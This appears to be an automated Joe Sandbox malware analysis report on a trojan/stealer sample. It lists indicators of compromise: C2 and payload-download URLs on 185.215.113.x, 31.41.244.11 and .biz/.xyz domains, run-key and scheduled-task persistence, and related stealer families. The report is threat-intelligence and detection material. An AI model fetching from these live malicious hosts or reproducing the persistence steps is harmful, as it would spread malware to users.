prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	high
www.google.com	172.217.21.36	true	false	high
httpbin.org	34.226.108.155	true	false	high
spocs.getpocket.com	unknown	unknown	false	high
detectportal.firefox.com	unknown	unknown	false	high
content-signature-2.cdn.mozilla.net	unknown	unknown	false	high
shavar.services.mozilla.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
sordid-snaked.cyou	false		high
http://185.215.113.206/	false		high
deafeninggeh.biz	false		high
effecterectz.xyz	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false		high
185.215.113.206/c4becf79229cb002.php	false		high
https://steamcommunity.com/profiles/76561199724331900	false		high
http://home.twentygr20sb.top/kNcZsqQOSglxukmuLodY1734167391?argument=sypEa2ygPYYA5Tt31734357798	true	Avira URL Cloud: malware	unknown
debonairnukk.xyz	false		high
http://home.twentygr20sb.top/kNcZsqQOSglxukmuLodY1734167391	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.openh264.org//	firefox.exe, 00000024.00000002.3254112758.0000028B37600000.00000002.00000001.00040000.00000019.sdmp	false		high
http://185.215.113.16/off/def.exeEM	90c05232da.exe, 00000011.00000003.3161605683.00000000008A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/burpin1/random.exe/	skotes.exe, 0000000E.00000003.7174413854.0000000001388000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/chrome_newtab	90c05232da.exe, 00000011.00000003.2908620157.00000000056BD000.00000004.00000800.00020000.00000000.sdmp, 90c05232da.exe, 00000011.00000003.2908868653.00000000056BB000.00000004.00000800.00020000.00000000.sdmp, ba324316e4.exe, 00000012.00000003.3133729628.0000000001490000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/	90c05232da.exe, 00000011.00000003.3162655463.000000000083D000.00000004.00000020.00020000.00000000.sdmp, 90c05232da.exe, 00000011.00000003.3161605683.00000000008A7000.00000004.00000020.00020000.00000000.sdmp, 90c05232da.exe, 00000014.00000002.3076095968.0000000000C9E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	90c05232da.exe, 00000011.00000003.2908620157.00000000056BD000.00000004.00000800.00020000.00000000.sdmp, 90c05232da.exe, 00000011.00000003.2908868653.00000000056BB000.00000004.00000800.00020000.00000000.sdmp, ba324316e4.exe, 00000012.00000003.3133729628.0000000001490000.00000004.00000020.00020000.00000000.sdmp	false		high
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 00000024.00000002.3225615752.0000028B2ADD7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://json-schema.org/draft/2019-09/schema.	firefox.exe, 00000024.00000002.3296809741.0000028B3B368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/fate/random.exe	skotes.exe, 0000000E.00000003.7174413854.0000000001388000.00000004.00000020.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://spocs.getpocket.com/spocs	firefox.exe, 00000024.00000002.3339987753.0000028B3D537000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ebay.com	firefox.exe, 00000024.00000002.3254112758.0000028B37600000.00000002.00000001.00040000.00000019.sdmp	false		high
https://screenshots.firefox.com	firefox.exe, 00000024.00000002.3270210836.0000028B38CFA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://shavar.services.mozilla.com	firefox.exe, 00000024.00000002.3257337138.0000028B3823B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://completion.amazon.com/search/complete?q=	firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.3106495286.0000028B3AA00000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 00000024.00000002.3311551050.0000028B3BE08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3310536255.0000028B3BD9A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3310536255.0000028B3BD86000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3298635178.0000028B3B8F5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/well/random.exevOa	skotes.exe, 0000000E.00000003.7174413854.0000000001388000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://monitor.firefox.com/breach-details/	firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.16/off/random.exeWO	skotes.exe, 0000000E.00000003.7174413854.0000000001388000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsm	firefox.exe, 00000024.00000002.3254112758.0000028B37600000.00000002.00000001.00040000.00000019.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 00000024.00000002.3377476059.0000028B438BD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.msn.com6	firefox.exe, 00000024.00000002.3397874978.00002833AB504000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/exec/obidos/external-search/Transaction/this._completionPromise	firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/dsTvq	90c05232da.exe, 00000011.00000003.3018973506.00000000008B0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/7k	90c05232da.exe, 00000011.00000003.3161605683.00000000008A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.3106495286.0000028B3AA00000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/addons/addon/	firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://youtube.com/	firefox.exe, 00000024.00000002.3328541386.0000028B3D28D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3367174181.0000028B4341B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://json-schema.org/draft/2020-12/schema/=	firefox.exe, 00000024.00000002.3296809741.0000028B3B368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	skotes.exe, 0000000E.00000003.7173903812.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/apiwDnl	90c05232da.exe, 00000011.00000003.2995866523.00000000008AB000.00000004.00000020.00020000.00000000.sdmp, 90c05232da.exe, 00000011.00000003.3018973506.00000000008B0000.00000004.00000020.00020000.00000000.sdmp, 90c05232da.exe, 00000011.00000003.2995774052.00000000008A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exe:	skotes.exe, 0000000E.00000003.7174413854.0000000001374000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.accounts.firefox.com/v1	firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	firefox.exe, 00000024.00000002.3257337138.0000028B3823B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ok.ru/	firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.inbox.lv/rfc2368/?value=%shttp://win.mail.ru/cgi-bin/sentmsg?mailto=%sget	firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/	firefox.exe, 00000024.00000002.3368595226.0000028B435DA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://fpn.firefox.com	firefox.exe, 00000024.00000002.3257337138.0000028B3823B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3394093256.00000BEE80004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2	firefox.exe, 00000024.00000002.3357886781.0000028B3ED47000.00000004.00000800.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	90c05232da.exe, 00000011.00000003.2908620157.00000000056BD000.00000004.00000800.00020000.00000000.sdmp, 90c05232da.exe, 00000011.00000003.2908868653.00000000056BB000.00000004.00000800.00020000.00000000.sdmp, ba324316e4.exe, 00000012.00000003.3133729628.0000000001490000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/policies/privacy/2	firefox.exe, 00000024.00000002.3254112758.0000028B37600000.00000002.00000001.00040000.00000019.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpaE	skotes.exe, 0000000E.00000003.7174413854.0000000001388000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ocsp.rootca1.amazontrust.com0:	90c05232da.exe, 00000011.00000003.2966317602.00000000056AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3310536255.0000028B3BD08000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes	firefox.exe, 00000024.00000002.3254112758.0000028B37600000.00000002.00000001.00040000.00000019.sdmp	false		high
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	90c05232da.exe, 00000011.00000003.2908620157.00000000056BD000.00000004.00000800.00020000.00000000.sdmp, 90c05232da.exe, 00000011.00000003.2908868653.00000000056BB000.00000004.00000800.00020000.00000000.sdmp, ba324316e4.exe, 00000012.00000003.3133729628.0000000001490000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com/	firefox.exe, 00000024.00000002.3368595226.0000028B435DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/martin/random.exe	skotes.exe, 0000000E.00000003.7174413854.0000000001388000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://MD8.mozilla.org/1/m	firefox.exe, 00000024.00000002.3298635178.0000028B3B833000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mozilla-services/screenshotsMozilla	firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/0#	firefox.exe, 00000024.00000002.3392785281.00000BB71F300000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsmr	firefox.exe, 00000024.00000002.3254112758.0000028B37600000.00000002.00000001.00040000.00000019.sdmp	false		high
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 00000024.00000002.3238840239.0000028B37324000.00000004.00000800.00020000.00000000.sdmp	false		high
http://127.0.0.1:	firefox.exe, 00000024.00000002.3225615752.0000028B2AD5D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/hjb	90c05232da.exe, 00000011.00000003.3161605683.00000000008A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://merino.services.mozilla.com/api/v1/suggest5	firefox.exe, 00000024.00000002.3254112758.0000028B37600000.00000002.00000001.00040000.00000019.sdmp	false		high
https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152	firefox.exe, 00000024.00000002.3320756684.0000028B3C771000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bugzilla.mo	firefox.exe, 00000024.00000003.3172891598.0000028B3C1FC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3257337138.0000028B38229000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mitmdetection.services.mozilla.com/	firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://amazon.com	firefox.exe, 00000024.00000002.3254112758.0000028B37600000.00000002.00000001.00040000.00000019.sdmp	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	skotes.exe, 0000000E.00000003.7173903812.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://outlook.live.com/default.aspx?rru=compose&to=%s_isRemoteDebuggingEnabled/remoteDebuggingEnab	firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	false		high
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 00000024.00000002.3311551050.0000028B3BE08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3310536255.0000028B3BD9A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://shavar.services.mozilla.com/	firefox.exe, 00000024.00000002.3257337138.0000028B3823B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/unique1/random.exe	skotes.exe, 0000000E.00000003.7174413854.0000000001388000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.duckduckgo.com/ac/LOAD_DOCUMENT_NEEDS_COOKIEget	firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exefz	90c05232da.exe, 00000011.00000003.3161605683.00000000008A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/off/def.exe	90c05232da.exe, 00000011.00000003.3161605683.00000000008A7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/	firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://tacitglibbr.biz:443/api	90c05232da.exe, 00000014.00000002.3076095968.0000000000C89000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.iqiyi.com/	firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://screenshots.firefox.com/shims/mochitest-shim-2.js	firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r	firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
104.21.50.161	tacitglibbr.biz	United States	13335	CLOUDFLARENETUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
142.250.181.110	youtube.com	United States	15169	GOOGLEUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576114
Start date and time:	2024-12-16 15:00:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 19m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	48
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@87/47@70/15
EGA Information:	Successful, ratio: 75%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Exclude process from analysis (whitelisted): Conhost.exe, dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 217.20.58.98, 172.217.19.238, 64.233.162.84, 172.217.19.227, 54.213.181.160, 35.85.93.176, 44.228.225.150, 104.102.63.47, 20.42.73.29, 88.221.134.155, 52.168.117.173, 20.190.177.23, 13.107.246.63, 20.103.156.88, 150.171.27.10, 172.202.163.200, 23.218.208.109, 20.190.147.7, 20.42.65.88
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, dare-curbys.biz, impend-differ.biz, slscr.update.microsoft.com, tse1.mm.bing.net, clientservices.googleapis.com, g.bing.com, aus5.mozilla.org, a19.dscg10.akamai.net, clients2.google.com, us-west1.prod.sumo.prod.webservices.mozgcp.net, login.live.com, firefox.settings.services.mozilla.com, onedsblobprdeus15.eastus.cloudapp.azure.com, dwell-exclaim.biz, www.youtube.com, normandy-cdn.services.mozilla.com, star-mini.c10r.facebook.com, fs.microsoft.com, shavar.prod.mozaws.net, zinc-sneark.biz, dyna.wikimedia.org, formy-spill.biz, normandy.cdn.mozilla.net, youtube-ui.l.google.com, steamcommunity.com, reddit.map.fastly.net, se-blurry.biz, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, clients.l.google.com, location.services.mozilla.com, drive-connect.cyou, www.reddit.com, services.addons.mozilla.org, ciscobinary.openh264.org, incoming.telemetry.mozilla.org, covery-mover.biz, arc.msn.com, supp
Execution Graph export aborted for target 90c05232da.exe, PID 5036 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
09:02:01	API Interceptor	19977005x Sleep call for process: skotes.exe modified
09:02:17	API Interceptor	60x Sleep call for process: 90c05232da.exe modified
09:02:39	API Interceptor	546x Sleep call for process: ba324316e4.exe modified
15:01:15	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
15:02:21	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 90c05232da.exe C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe
15:02:29	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run ba324316e4.exe C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe
15:02:37	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run fe4405d388.exe C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe
15:02:46	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 258e650b63.exe C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe
15:02:54	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 90c05232da.exe C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe
15:02:58	Task Scheduler	Run new task: Intel_PTT_EK_Recertification path: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
15:03:04	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run ba324316e4.exe C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe
15:03:12	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run fe4405d388.exe C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe
15:03:21	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 258e650b63.exe C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe
15:04:21	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe
15:04:35	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run b101a3094d.exe C:\Users\user\AppData\Local\Temp\1016138001\b101a3094d.exe
15:04:43	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 48cea87b64.exe C:\Users\user\AppData\Local\Temp\1016139001\48cea87b64.exe
15:04:51	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 1cbb8e319a.exe C:\Users\user\AppData\Local\Temp\1016140001\1cbb8e319a.exe
15:04:59	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 210e24a988.exe C:\Users\user\AppData\Local\Temp\1016141001\210e24a988.exe
15:05:08	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run b101a3094d.exe C:\Users\user\AppData\Local\Temp\1016138001\b101a3094d.exe
15:05:16	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 48cea87b64.exe C:\Users\user\AppData\Local\Temp\1016139001\48cea87b64.exe
15:05:25	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 1cbb8e319a.exe C:\Users\user\AppData\Local\Temp\1016140001\1cbb8e319a.exe
15:05:33	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 210e24a988.exe C:\Users\user\AppData\Local\Temp\1016141001\210e24a988.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	4TPPuMwzSA.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, PureLog Stealer, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
104.21.50.161	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	4TPPuMwzSA.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	hiip7UoiAq.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	I37faEaz1K.exe	Get hash	malicious	LummaC	Browse
	3cb2b5U8BR.exe	Get hash	malicious	LummaC	Browse
	afXf6ZiYTT.exe	Get hash	malicious	LummaC	Browse
	ZideZBMwUQ.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
prod.content-signature-chains.prod.webservices.mozgcp.net	fNlxQP0jBz.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	LbgqLv7gT7.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	fNlxQP0jBz.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	LbgqLv7gT7.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse	34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	34.160.144.191
